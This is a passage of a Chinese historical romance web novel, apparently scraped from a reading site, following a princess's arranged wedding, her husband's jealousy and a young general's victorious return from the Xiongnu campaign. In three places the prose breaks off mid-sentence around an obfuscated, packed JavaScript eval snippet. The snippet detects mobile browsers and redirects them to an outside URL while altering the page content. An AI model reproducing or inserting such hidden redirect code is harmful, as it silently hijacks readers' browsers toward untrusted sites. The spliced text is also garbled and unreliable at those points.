一旁的五铢可看不明白了。 说不喜欢吧?他可是亲眼看着那次太官丞府上,自家挥毫成章的郎君是怎么修修改改,把一封邀帖写上半宿的;上次外头回来,莫名带回个酒肆的杯盏,五铢左看右看,也没看出来有什么不同,论及品质比家里的还次一等,结果郎君恨不得把这杯子供起来,后来旁敲侧击好几次,才知道那日郎君同人吃酒去了。 至于吃酒之人是谁,五铢到现在还没问出来。 这没问出来本身就是答案了。 但这次—— “郎君,这可是郡主亲手做的衣裳!” 苏之仪反倒笑了,“亲手?” 他可是见过那人亲手做出来的东西,如果那也能叫“香囊”的话。 苏之仪低头看向手中的同心白玉,少顷之后,他表情一点点柔和下来。 是他强求不假,但却也如愿了不是吗? * 另一边,苏之仪的使者离去后,岑篱便去了谢府。 火光扬起,火盆内传来竹简的爆裂声。谢兰君斜靠着岑篱身上,看着那写着一条条罪状的竹简被火焰吞噬,环在岑篱腰上的手越发收紧了。 岑篱拍了拍谢兰君的后背,低声:“石氏借着当年拥立之功,多年横行不法,陛下早有惩戒之意,只是欠一个合适的时机罢了……这只是个开始。” 谢兰君轻声哽咽:“是我没用。” 她好像什么都做不了,什么没法做…… “兰君,看着我。”听出了这话中的消沉之意,岑篱按住了谢兰君的肩膀,让对方抬起头来,“战事在前,洮中都尉抗命不遵,是为人臣之不忠;征北将军刻意隐瞒、匿罪不报,是为立身不诚;栾都侯为一己私恨,置家国之事于不顾,是为负国不义。如此不忠不诚不义之徒,错的是他们。你听好了,错的是他们,而不是你。” 谢兰君:“可、可……为什么他们、他们却好端端地居于庙堂之上?” “因为天地不公。” 没想到会得到这么一句话,谢兰君怔然。 岑篱表情缓下,“这世道不总是公平的,但人处其中,当行其意。道家有言‘天地不仁以万物为刍狗’,然天地不仁、人却有义,天地不为之事,人却应该去做。” 谢兰君:“所以岑姐姐你才将婚事……” 她渐渐止了声,像是不知怎么说下去。 岑篱倒是笑了:“如此年少便官至九卿之重臣,又深得陛下倚重。怎么?这般人物还配我不得?” 谢兰君默然不语。 ……配不上的。 岑姐姐值得天下最好的人。 久久没得到回答,岑篱也不强求,她抬眼看着这渐渐燃尽的火光。 灼目的明亮过后,只余下满盆的焦炭,边缘处泛着一点零星的暗红色泽。 她安静的看了一会儿,开口:“婚期定在九月朔日,你若是不想来,便不必到了。” “不!”谢兰君急着声否认,她几乎是下意识地站起来,差点把岑篱拽倒,这才勉强定在原地,仍是急促地,“我会去的。” 岑篱莞尔,“也好。” 正欲要顺着谢兰君的力道起身,骤然刺痛的膝盖却让她踉跄了一下。 “岑姐姐?”意识到什么,她问,“上次的伤还未好吗?” 岑篱摇头:“已经无大碍了,只是偶尔天气不好时,会有发作。” 谢兰君抬头看了眼天色。果然是阴沉沉的,不多时将落下雨的样子。 风雨欲来。 * 长安城内酝酿着一场更大的风暴,而此刻大漠却是一场绝无仅有的大胜。 韩培那日听了谢定的打算,只想骂一句“胆大包天”,可是却怎么也没想到,堪堪十数日之后,真的被他把天捅出个窟窿来。 这次装的不是浑邪部的匈奴人了,而是被左谷蠡王俘虏的齐军士卒,故技重施,还真让他入了匈奴王廷。谢定这次倒是没有直接杀进去了,而是趁机摸清里面的布置,趁夜来了个突袭。 冲天的火光中,王帐中的匈奴贵族乱成一团,因为辨不清来敌人数,仓皇之下应对失矩,还真的被谢定带人杀了数个进出。 只可惜—— “倒叫那匈奴单于跑了。” 谢定瞥了他一眼,“让人都收着点,穷寇莫追。舆图问出来了吗?闹出了这么大动静,若是还找不到丁攀,咱们得被围死在这儿了。” 韩培:“……” 多稀罕啊。穷寇莫追?他这辈子没想到能从谢定嘴里听出这四个字。 他一脸“主将该不会被掉包了”的表情,上上下下地打量着谢定。 这一看倒是看出点东西,虽说他们这次不必伪装匈奴人,但不得不说,这茫茫大漠,还是本地人的装束舒服些,再加上一路虏获,众人早就换上了更轻薄的皮革甲。谢定更是对这些匈奴人的武器护具颇有兴趣,这会儿正拿着一个黄金臂钏强行往手臂上套。 薄扁的黄金条带盘旋缠绕,开口虽可调节,但便是拉到最宽处,也供不了谢定把手臂塞进去。 眼见着谢定都要将这臂钏拉得变形了,韩培终于憋不住笑出声,“这可不是臂甲,是匈奴贵族女子的佩饰,看这纹路还多半还等阶不低,你可别在这祸祸好东西了。” 谢定被说得一怔。 在低头看着臂钏,脑海中不由浮现出画面来,赤金的臂钏缠绕在那一段纤白的小臂上,金属的冷调越发衬得那柔软的肌肤肤若凝脂。 他终于后知后觉,这次出来这么久,得给阿篱带点礼物回去才好。 目光落在那边匈奴王帐的珠宝上,总算不似先次左谷蠡那次浑不在意的样子了。 韩培本来还等着谢定呛声呢,抬眼却见对面这一副魂不守舍的模样,他顿时咂摸出点滋味了,当即笑道:“怎么?想带回去,讨相好欢心啊?” 他还想接着调侃两句“是哪家楚馆的歌伎舞女”,却见那边谢定抬头看过来。 “不是‘讨欢心’。”他随手捞了一把珠宝,又不在意扔回原位,只抬手展示了自己手中的匈奴王金印。 将这昭示功业的战利品握于掌心,他扬眉笑得肆意又张扬,“是聘礼。我要去提亲!” 韩培:“……” 实不相瞒,有点欠打。 他憋了一下,还是忍不住怼回去:“一连数月渺无音信,兵败消息传回长安,人也生不见人死不见尸,你还指望着人家姑娘等你提亲?就是已经成婚的婆娘,怕不是也要跟着人跑了。” 谢定没答话,却只是抬眼看向韩培。 韩培:??? 一直到韩培被这打量的眼神看浑身发毛,才听谢定慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121240|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠悠地,“放心,这次回去我给你请功。等你封候拜将,到时娶新妇就是了。” 韩培:??! “谢怀朔!你他娘的咒谁婆娘跑了!!” 谢定哈哈大笑着往外躲去。 兵败又如何?阿篱从来非介怀于此的人,走不出来的只是他罢了。 他才不要阿篱受着屈辱下嫁。 他要建功立业、堂堂正正地求娶,要阿篱最风光地出嫁。 * 长安城。 月余的光景转瞬即逝,仿佛纳征那一日还在眼前,转眼便入了九月。 九月流火,暑退秋清,正是宜嫁娶的好日子。 岑篱的这场婚事虽然仓促,但却是极风光的。擢格的公主规制,由少府亲自安排,正崇帝更是早早透露了“婚仪当日御驾亲临”的态度,底下无人敢怠慢。 只是看着此刻铜镜里的倒影,岑篱却觉得陌生。 高挽于顶的头发被以玉笄固定,簪首垂下的六珈轻轻摇曳,细粉遮住了原本的肤色,两弯柳眉被修成细长的蛾眉再以黛笔轻扫。唇点朱红,成了这以庄重为主的妆容中唯有的一点艳色。 注视着这陌生的倒影,岑篱心底不由自主地生出一种隔膜来,仿佛置身一场梦境。 沉重的配饰一一佩戴妥当,端着托盘的宫人次第退下,这内室的气氛方才松快了点。 前面传来一声长长的出气声,正端着铜镜的婢女将手里的镜子一扣,大松口气,“不愧是少府出来的人。” 拾春:“什么时候你能学会人家半分稳重,郡主也能放心把事交给你了。” 寻夏立刻游移开眼神,片刻后又转回来,恭维着,“这不是有拾春姐姐你嘛。有你一个,足够把郡主身边的事收拾得妥妥当当了。”知道甜言蜜语效果有限,她说完之后,果断转移话题,“我去灶下找点干粮来,这婚仪一整天呢,总不能干饿着。” 拾春还想再说什么,岑篱已经点头允了,“你去吧。” 拾春:“郡主你就纵着她吧。” 虽说这么斥着,但拾春却是多多少少松口气,郡主刚才那呆呆怔怔看着铜镜的样子,还真是怪吓人的。也不知道寻夏这皮丫头是不是看出什么来,才立刻就把铜镜倒扣下了。 约莫是心里早就念着这一出呢,寻夏出去不多一会儿,就带了一包点心回来了。 “我去瞧了眼,蜜饵、芝麻撒子都容易掉酥,枣米糕的好点,但枣香味太重还容易沾了唇脂。还是米粣好,蜜枣泥裹在里面,我让庖厨捏得紧了点,郡主趁人不注意塞嘴里,没人看出来。” 说着,已经借着展示的光景,塞了一个进嘴里。 拾春:“……” 这是偷吃多少次才吃出来的经验啊。 寻夏倒没注意自己一个不留神给自己露了老底,交代完这些,颇为忧心地往外看了眼,“我刚才出去瞧着,这天色怕是不大好。” 拾春被这话拽回了心神,抬手做了个掌嘴的手势,厉声:“说什么瞎话呢?这可是太卜令亲自推算出的日子,再好不过了,陛下都亲自首肯。大喜的日子,哪能说‘不好’?!” 寻夏自知失言,连忙往旁边“呸呸呸”了几声。 但去完了晦气后,还是道:“我是说这天瞅着怕是要下雨,咱们要不要准备点。” 拾春还将信将疑,岑篱却已经点头应下,“吩咐下去,备着吧……也差个人,去苏府跑一趟。” 天色如何还未可知,但这跪坐的片刻,双膝处又隐隐作痛,怕真的要下雨了。 8.第 8 章 岑篱让人告知苏之仪的时候,天色尚且只是隐有痕迹,但等到正午迎亲的时候,大雨将至的迹象已经很明显了。 乌云沉沉地压下,风卷着尘土自街面席卷而过。 时不时来一阵大风,将廊下的灯笼撕扯得来回摇晃,迎亲的队伍顶着风艰难前进。 只是人尚且可以往前,但畜生却没法强驱。 恰逢路边的木架子被风吹得跌倒,正正惊了新郎座下的那匹马。骏马嘶鸣着欲要扬起前蹄,还是五铢死死地拉住马缰,才没有让它将背上的新郎掀了下去。 但即便如此,五铢还是被惊了一身的冷汗,他迟疑地看向马上的青年,“郎君,不若等等吧?” 好歹让这阵妖风过去。 不只是马,那风卷着尘土直往眼睛里钻,五铢说话间都忍不住抬着袖子遮挡着头脸。 可苏之仪却只端坐在马上,风吹得礼服猎猎作响,束起的发丝都有些许凌乱,但他的神色却平静又镇定,仿佛刚才差点被惊了马的并非他本人。 他沉声:“继续!往前走。” 天命不允又如何?他苏温知可从来都不是指着老天成事。既然这婚事从头到尾都是他强求来的,又何妨多增这一桩。 见苏之仪这反应,五铢也只得咬咬牙,对着后面的仆役喝道:“走!都走快些!!手脚都给我利落点!” 这么紧赶慢赶,总算在暴雨倾盆之下到了郡主府。 但也仅仅如此了。老天似乎并再多无赏脸的意思,迎亲的队伍刚入岑府,蓄积已久的大雨便倾盆而下,甚至还没有等到新娘上了轩车,就瓢泼似的浇了下来。 好在有了寻夏的提醒,郡主府这边提前有了准备,接迎的过程不至于太过失了分寸。但天气如此,这回程的一路仍是狼狈不堪。 因为这场大雨,原本在中庭的拜堂改到了内室。 院中悬挂的红绸早就被淋得湿透,雨水急促地打在上面,发出噼里啪啦的声音,连枝灯层层叠叠灯火映在一旁,但仍旧没法照亮昏沉沉的内室。 好在圣驾亲临婚仪,朝中公卿亦来道贺。满朝诸公列坐于侧,这昏昧的场景此刻反倒突现出几分庄重来。 然而,就在新人叩首敬拜天地之时,一道明亮的闪电从天际劈下,那光太炽,眼前都被闪烁了瞬许,轰隆的雷声紧随其后,几乎炸响在耳边。 短暂的寂静之后,内室响起了窃窃私语的声音。 这雷声来得实在太巧,难免让人多想。 苏之仪握着红绸的手也攥紧了瞬许。 闲言碎语听多了,他自是不在意旁观人的议论,可是她呢?大婚之日却遇此事,她该做如何想? 正这么想间,上首却传来正崇帝的大笑声,“风雨同舟,吉兆啊!” 一旁侍立的赵吉立刻扯着尖细的嗓音出声应和,下首的官员们慢了一步,也纷纷应声,不管心里做如何想,这堂上总算多了些喜宴的欢欣之情。 苏之仪趁着这个机会向侧边瞥了一眼,却没从岑篱面上看出什么来。 精心装点的妆容下,只是一派婚仪该有的庄重之色,看不出喜也看不出怒,让人无从揣测心情。 而事实上,此刻岑篱也确实没有什么心情。 膝上的伤处留下些痼疾,一整个夏日,但凡阴雨天便觉双膝僵硬滞涩,偶尔还有麻痒刺痛之感。但或许是今日的雨势太急,又或者是准备婚仪太过疲惫,那原本只是略有些的刺痛突然变得难以忍受起来,每一下跪起都仿佛有尖锐的冰针,扎在了膝盖内部。 然御驾在前,岑篱也只能咬着牙作出无事之状。 分匏合卺,这冗长的仪式终于走到尾声。回到内室的那一路上,岑篱几乎将半边身子压在了拾春身上才勉强成行。 幸而恭送御驾这事不用新娘出面,不然岑篱怕是自己今日一定失仪御前了。 * 拾春早就察觉不对,等一进内室就不容置喙地将屋里的婢女全都赶了出去。 她小心地搀着岑篱握在榻上,裙裾逶迤在地。这价值千金的礼服此刻反倒成了累赘,裙摆行走间需得婢女托捧,一路上便是再怎么小心也不免被打湿尾端,湿气随着布料浸润,让整条裙裾都泛着隐隐的潮意。 可大礼未成,拾春也不敢此时让岑篱将外袍脱下,也只能是宽慰,“郡主您再等等,放个汤媪会好些。” 可这话音刚落,外面便传来惊呼声,“郎君?!”/“见过郎君!” 原是苏之仪竟未去陪客,恭送完圣驾后便回了房。 这世上万没有“新婚之夜拦着新郎进洞房”的道理,连门口的寻夏也只能提高了声音大声提醒,“见过郎君!” 寻夏还待强行聊上几句拖延时间,那边苏之仪已察觉不对,连理会都没有,直接推门进了房中,寻夏全然阻拦不及。 而进来的苏之仪也愣在了原地。 红烛高烧、灯影幢幢,摇曳的烛光映在锦帐之上,而榻上侧坐着一个人,仍旧是那玄纁的婚服,厚重裙裾却往上卷着,莹润的小腿祼露在外,庄重却又香.艳,香炉燃起阵阵缥缈烟气,为此情此景又添了几分旖旎。 烛芯发出一道哔啵声,苏之仪被惊醒回神, 喉结上下滚了滚,他下意识地背着手关上了门。 那边拾春也反应过来,连忙整理着裙裾往下放,但苏之仪已经迈步上前。 裙摆在半空中被拉住,一只手按在了那赤祼的小腿上。掌心带着常年拿刻刀的粗砺,温热的触感从相触处传来,岑篱颤了一下往后缩,那手却牢牢地将腿固在原地。 苏之仪哑着声问:“怎么了?” 岑篱定了下神,“膝上痼疾,阴雨天偶有发作。有失礼节,还望苏廷尉见谅。” 苏之仪想起来,“是那日承明殿?” ……还是在那之前? 心底骤然翻涌恨意让他表情有一瞬的扭曲,但苏之仪竭力克制住了手上的力道。 不管是为了那个人留下伤势,还是强忍痛楚为那个人求情,都让他抑不住生出恶念。 但这情绪也只持续了片刻,苏之仪很快平静下来。 何必和死人计较呢? 终归今日是他的大婚之夜,是他所求如愿。 他缓和下语气,温声问候:“可请医工看了?有法子缓解吗?” “擦些药酒便好。”岑篱不欲就这个话题和苏之仪深谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135876|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,草草答过之后,便想着把腿收回来,“拾春——” 本欲吩咐的话语被打断,“我来罢。” …… 腰间的大带被解下,其上的环佩被一一归置妥当,微微潮湿的婚服被整齐地叠放在侧,沉重的头冠和假髻被拆下,青丝散落,如瀑般落在了雪白的中衣上。 褪.去袜履的脚腕被握在的掌心,岑篱努力放松着紧绷的身体,但仍是不免僵硬。 她想要错开视线,但仰头却看见了帐上的红绸,不由有了片刻怔然。 是了,今日是她的大婚之日…… 接下来该是洞房花烛。 带着细微酒气的药香弥漫开来,小腿被往下轻轻拽了拽,温热的掌心旋即贴到了膝盖处,粗砺的茧子在上面轻轻摩挲着,激起了阵阵颤栗。 苏之仪轻声:“疼?” 岑篱咬住了下唇,轻轻摇了摇头。 针刺般的疼痛早已褪去,但被外人碰触的异样感却过重了。 对面没有再问了,岑篱听见苏之仪屏退下人的声音。 拾春迟疑地看向岑篱,岑篱默许地半阖了下眼皮。 拾春这才指挥着婢女捧着婚服头冠次第退下,最后是门扉吱呀一声阖上,屋内只余下两人的呼吸声。 一侧膝盖结束后是另一边,另一条小腿被轻轻抬起,放在对方膝头。岑篱并未对这越发亲昵的举动提出异议,只是缓缓地闭上了眼睛。 待到这场漫长又短暂的上药结束后,窸窣的衣料声在不远处响起,但等待许久,却也没有别的什么事发生。 岑篱略微诧异地睁开眼,却见苏之仪在矮榻下方铺开了被褥。 视线对上,后者状似苦笑,“虽是大婚之日,但不顾夫人身体不适、强要与之欢好,某自省尚未急色至此。” 岑篱略略垂下眼眸。 沉默了片刻,低声:“地上寒凉,苏廷尉若要歇息……”到榻上来罢。 后半句话却无论如何都说不出口。 却听对方轻笑,“寒凉些也是好事。某虽非急色之徒,却也不是那等坐怀不乱的柳下之人。” 岑篱还没从这突来的调笑里回过神来,人还有点发怔。 又听苏之仪接着,“我字‘温知’,既已大婚,郡主不必称呼得如此客气。” 他生得一副温雅俊秀的好相貌,声音也温润如玉,此时轻笑着开口,当真一副修雅君子的模样。 外面是滂沱大雨,雨珠急促拍打着窗棂,屋内却反而静谧得过了头,烛火映出了拉长的影子,在锦帐上微微摇曳。 恍惚像是回到了那一日的承明殿外,但从听闻噩耗至今却已过去数月之久。她似乎到了一个从未想过的未来,但正如她与谢兰君所言:年少有为、谦雅君子,怎么就不能是良配呢? 想着,岑篱终是开口,“令昭。” 她的表字。 苏之仪怔然片刻。 良久,他终于露出了这一日来最真心的一个笑意,语声缱绻地低吟,“如圭如璋,令闻令望……文王在上,于昭于天……”[1] 窗外沥沥雨声,好似为这低吟浅唱做了奏乐。 红烛一夜通明。 9.第 9 章 “阳曲郡有报,阳曲郡守擅自在朝廷命令之外征发劳役以开采郡内铜矿。臣以为,应当派遣监察前往阳曲,暗中察访,如有不轨当依法惩处……” 早朝的朝会散去后,正崇帝召了几个亲近入内殿臣子议事。苏之仪这个炽手可热的新任廷尉,自然也在其列。 不过此时听了苏之仪的禀报,正崇帝却没有立刻答话,反倒是笑着看过去,“新婚燕尔,苏卿倒是洒脱,抛下家中妻眷,来同这满朝的文武谈论国事。朕若是不嘉奖,倒显得不近人情了。” 正崇帝虽是笑着,面色却稍稍显冷。 他并不介意苏之仪借着婚事往上爬,但若是仅仅把楚元的女儿当成利用手段,他却也容不下。 苏之仪连忙上前揖首:“臣不敢。陛下明鉴,阳嘉郡主蒙陛下教导,处处心系国事,近日朝堂正逢多事之秋,郡主特意嘱咐臣尽心议事,不可因为家事懈怠。” 正崇帝怔了下。 经苏之仪这么一说,他倒是想起了,这门婚事还是阳嘉主动求的,而求这婚事的原因也绝不可能是什么见之倾心。所谓“朝堂正逢多事之秋”,朝上是多事不假,但阳嘉那孩子恐怕也不仅仅为了这事。 谢家那小子啊…… 只是比起外人来,人当然偏心自家孩子,当皇帝的尤甚。 正崇帝稍微缓了缓神色,对着苏之仪,态度又重新亲切起来,“温知能如此看中朝事甚好。可修身齐家才能治国平天下,卿万不可因此懈怠家事啊。” 苏之仪:“唯。” 这殿内的对话重回正轨,苏之仪正想要接着说下那阳曲郡的事,却见一内侍快步而来,叩首禀报:“报!陛下,卫尉于宫门外求见,边关急报!” 正崇帝霍然起身,“宣!” 边境羽檄驰传,战报才能直达卫尉,在有一只军队已经消失在茫茫戈壁的现在,正崇帝能想到的绝非什么好消息。 卫尉叩首求见,正崇帝劈手躲过对方手里的竹简,看到封泥处的赤羽加急印记,面色更是难看。 他抬手揭开封泥,一目十行扫过。 旁边的赵吉悄悄抬手示意卫尉往侧避让,免得待会帝王盛怒之下遭遇波及,自己更是小心思索着待会的应对方式。 正这么想着,却听一声大笑。 殿中之人都是一愣,赵吉更是斗胆,小心地抬眼瞥了一眼,见正崇帝当真面带笑意,他不由眼前一黑:陛下该不会受刺激太大,人疯了吧? 接下来反应仿佛印证了赵吉的猜测。 正崇帝已经不仅仅是大笑了,而是仰天长啸,在赵吉渐渐惊恐的目光里,他高喝了一声“彩——!哈哈哈哈不愧是谢家的儿郎!” 四下的寂静里,最快反应过来的大概是苏之仪了。 这本来就是他日夜所思中,最为担心的一件事,而现如今那噩梦仿佛成真。 她心心念念的那人当真立功而归,而他这段时日的作为不过是跳梁小丑、窃来一夕欢愉。 身侧的手忍不住收紧握拳,掌心阵阵刺痛。 好似天道总是睁着一只眼在盯着他,大婚之日的惊雷落雨还不够,总要再生出点什么事来,惩治他痴心妄想又不知悔改。 正崇帝还沉浸在那骤然的狂喜之中,他目光从竹简上抽离出来,在周围环视一圈。满殿惊恐的人中,苏之仪那镇定格外显眼,正崇帝也一眼看到了他。 竹简近乎是被摔倒案前,正崇帝大笑这:“哈哈哈温知你看!朕该如何赏他才好?!!” 苏之仪低头看去,简牍之上的字针一样扎进了他的眼中。 “斩首浑邪王、左谷蠡王”“俘虏大单于亲眷”“南匈奴归顺”…… 胸腔中似有血气翻涌,但是苏之仪强行压下,声音平稳地,“臣贺陛下,得良将如此。大破匈奴之功,该当重赏。” 如何赏呢?无外乎封侯列爵,娇.妻美眷。 只可惜,他抢先一步了。 正崇帝的笑声再起,“哈哈哈是该赏!重重地赏!!” …… 苏家人口简单,岑篱又是下嫁,无需敬拜宗族长辈。 这第一日,便也只是熟悉家中仆役,事情比在岑府里的只少不多,岑篱用了个大半个早晨便摸清楚了门路,分点了几个婢女各自操持庶务。 这会儿拾春正同岑篱说着府里的账务,听着前门回禀苏郎君回来了。 拾春迟疑地抬头,看向岑篱。 昨晚内室一.夜安静已是不对,晨间拾春进去侍奉的时候,发现夫妻二人竟分榻而眠。 拾春这会儿也摸不准两人到底是怎样的关系,因而神情间颇为犹豫。 岑篱被她看得一怔,又是恍然,“去迎一迎吧。” 于是苏之仪回来的时候,就看见站在廊下的岑篱。 漆黑的长发盘起,不再是未嫁的少女样式,远远看见他的身影,她露出一点浅笑,但内里还是客气疏远的意味居多。 日夜辗转所求,如今已然成真。 他该知足不是吗? 苏之仪殊无笑意地扬了扬唇角,上前开口:“边关传来消息……” 这话刚起了个头,他就看见岑篱脸上的表情一僵。 果然,只堪堪提起那人,她连那点疏远的笑容都吝于给出了。 岑篱只是本能地错开眼神,脚下往后退了半步,以行动表达了自己抗拒之意——她不想听这个消息。 逃避也好,怯懦也罢,仿佛只要她还不知道,那人便好好地活在世上的某处。 她岔开话题,“你还没用膳吧?” 苏之仪:“谢怀朔胜了。” 岑篱正向着侧边转身的动作顿住,她豁然抬头,错愕地看向苏之仪。 苏之仪有点想笑。 他的夫人,明媒正娶、昨夜才刚刚洞房花烛的夫人,此时此刻,他才第一次从的对方眼底窥得的一点喜意——夹杂在怀疑和不敢置信之间,但却无比真实的喜悦。 苏之仪也确实笑了,唇角微微上扬、眉眼舒展,是一个谁都挑不出错来的笑。 “斩首浑邪王、左谷蠡王,俘虏匈奴贵族若干,牛羊马匹不计其数,大胜匈奴。陛下已决意恢复谢家爵位,本欲赐官太尉,但卫尉以‘如此年少三公,只恐将来封无可封’为由劝诫,陛下这才作罢,改封卫将军,但还是将封赏食邑又增厚了不少……” 岑篱其实已经没有听清苏之仪后面的话了。 她往前踏了一步,抓住了苏之仪的手,焦急地确认道:“他没事,是吗?他人没事!” 苏之仪止了声,他半垂下眸子,看着两人交叠的手。 岑篱犹自不觉,仍是追问:“是这样吗?!苏廷——” 苏之仪目光温和地注视过来,但那隐带提醒的眼神,却让岑篱将那句脱口而出的“苏廷尉”咽了下去,“……温知。” 苏之仪也低低地缱绻地轻唤一声,“令昭。” 无论如何,你现在都是我的妻子。 岑篱自是听懂了这委婉的暗示。 那骤然生出的喜悦一下子像是被堤坝拦住的河流,但沉默片刻,她还是坚持地抬头看过去,“我只是想知道,他是否安好。” “自然无虞。”苏之仪面色不变,“大军不日班师回朝,令昭若是放不下心,可以亲眼去看看。” * 时光如流水,转瞬到了班师回朝的那日。 大军驻扎在城门之外,只有少许功勋卓绝、得面圣颜的将士率领亲卫走在长安的青石路上。走在最前的当然是此次出征的主帅征北将军丁攀。只是这位领兵的将帅此刻面上满是边塞的风霜之色,兴许是征战日久,那表情并非大胜的喜悦,反而疲惫居多。 在他身侧,却是一个神采飞扬的小将,与他并驾齐驱、甚至隐隐有越过一步的趋势。 军法如山,军规森严,可这小将却如此罔顾军中规矩,公然越主将一步。然随行诸人却无一异议,像是默认他有如此特权。 被戍卫拦在路边的百姓却不知这么多内情,少年将军可比沉稳持重的老将来得有吸引力得多,人总是为皮相吸引,目光便不由自主地落在这年轻人身上。 那年轻人也不负众望,确实生得一副出众的好相貌,更兼一身威武甲胄。 身上的甲片每一片都被擦得锃亮,盔顶的红缨被风吹得微微摇曳,那张年轻的面孔上满是意气,头高高扬起,向着街道周边顾盼。边关的风沙让人比出征的时候黑了一个度不止,但他脸上笑容明亮肆意,便是无心招惹,却也让楼上不少女郎羞红了脸。 也有些个胆大,一手遮着烫红面颊,一手将手中的帕子抛掷下去。 只可惜等到帕子悠悠荡荡地飘落下去,那打马而去的队伍早走远去,只余一抹香风在空气中消散,那方锦帕便落到了地上的泥尘之中。仿若是抛了块石子在春水中激起阵阵涟漪,人却拍了拍手转身就走,直教人又急又恨,却偏偏不忍真的对人生恼。 不管旁人怎么唏嘘感慨,搅浑水的本人是没有丝毫自觉的,眼见着司马门的牌匾近在眼前,谢定也不像刚刚进外城门时那样支棱了。 他渐渐放慢马速,那张扬肆意的表情也一点点变得迟疑。 仿佛应和主人心情一般,那头盔顶上的红须须都垂下来不少。 等到确认前面就是司马门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146541|179910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周围确实没有夹道欢迎的百姓了,谢定更是勒了勒马缰,琢磨着要不要掉头回去把刚才的路重新走一遍。 不应该啊! 他刚才看得可仔细了,一个一个盯过去,不可能看漏的啊?! 枉他昨日特地挑出的最威武的一套铠甲,亲自的动手,把每一片甲片都擦得锃光瓦亮的。 总不可能阿篱没来吧? 而谢定这思索间,他座下的马匹已经随着主人收紧的马缰已经近乎停下了。 旁边一直控制着快慢、尽量和谢定并驾的丁攀终于不能装作视而不见了,他驱马凑近谢定跟前,压低了声音,“我不管你有什么不满,如今陛下亲开司马门,率领百官接迎,你便是装也给我装出个像样的!圣旨未发、封赏未到,再怎么说,我如今也是军中主将!” 谢定总算回神。 又听丁攀那一番话,他忍不住撇了撇嘴,觉得这人果然小肚鸡肠得很。 到底是他揪着不放,还是丁攀揪着不放啊? 那姓石的是暗中作梗,但既然人已经军法.论处,他难不成还能找个死人算账?鞭尸有什么意思? 至于说丁攀,他有眼睛会看。这人能力平平,性格亦是守成为上,还是个遇事总想大事化小小事化了的和稀泥的。这么个人,与其说丁攀和石荣发沆瀣一气,故意想谋他性命,不如说丁攀也没想到,石荣发会胆大包天至此。 他腹里撑船、大度不与这人计较,反倒惹人不信了。 果然是小人之心。 谢定在心底嘀嘀咕咕了好一阵儿,到底施舍地给了丁攀个眼神,敷衍地应了一句。 丁攀暗地咬牙。 但想到眼前人的军功和家世,还有那即将到来的封赏,他到底把到嘴边的叱骂声嚼碎了吞下去。 他如今这主将,也就堪堪顶个名头罢了。 谢定在匈奴境内往来如无物,虏获的非只牛羊而已,还有匈奴数个部落效忠。这一行面圣之人里面,就有几个高鼻深眸的异族人,带着这么一群匈奴兵回京受赏,这一路上,军中何人做主可想而知。 …… 谢定可不知道丁攀心底的小九九,眼见的司马门在前,他也确实收敛了神情。 然驱马还没上前,就见里面一群人快步走了过来,因领头之人往前走得太快,这群人的队伍显得颇为凌乱,然为首一人穿了一身祭祀大礼时的冕服,身后跟随诸人皆都朝服在身。 原是皇帝领百官,亲自出城接应。 单凭来此诸人身份,无人敢笑这队伍不整了。 谢定也连忙翻身下马,恭迎上前,“臣拜见陛——!” 话未说完,已经被正崇帝一把捞了起来,“好好好!谢叡成当真生了个好儿子,也给朕给大齐一天赐良将!!” “谢陛下盛赞。” 正崇帝使劲拍了拍谢定的肩膀,大笑着朝一旁伸手,“来,圣旨拿来!” 原来是不欲假宦官之口,要亲自宣旨。 皇帝金口玉言,当然没那么多条条框框,正崇帝只是接过那绢帛,连打开看一眼的意思都没有,便径自开了口,“虎父无犬子,怀朔此次兵克匈奴王廷,正乃承父之志,开大齐之功业,如此大功岂非封侯可止?益封食邑七千户,赐金千金,锦帛、奴婢……” 跟随的朝臣早知正崇帝此次大手笔,但如今听闻仍是倒吸一口凉气。 早年龃龉不好细说,如今正崇帝这一句“承父之志”一出,便是默许恢复当年谢叡成被褫夺爵位、由谢定子承父业了,之后种种不过加封罢了。如今正当大胜快意之时,反倒不好细言当年是非,这么轻飘飘一笔带过,倒成了君臣之间的默契了。 谢定亦是心中震动。 即便心底早有准备,多年夙愿一朝达成,让人忍不住一阵心潮澎湃。 他不顾着甲,便屈膝下拜,“臣叩谢陛下圣恩。” 见此回应,正崇帝自然更为满意。 他大笑着将手中的绢帛交给谢定,正想叫人起,却听谢定接着,“然臣还有一请,望陛下恩准。” 这话一出,后方公卿中当即就有人蹙眉不满:陛下封赏至此却还贪心不足,看来也不过是一自恃功高的狂傲短视之徒。 若说公卿们还只是在心底指指点点,一旁的丁攀却差点跳起来。 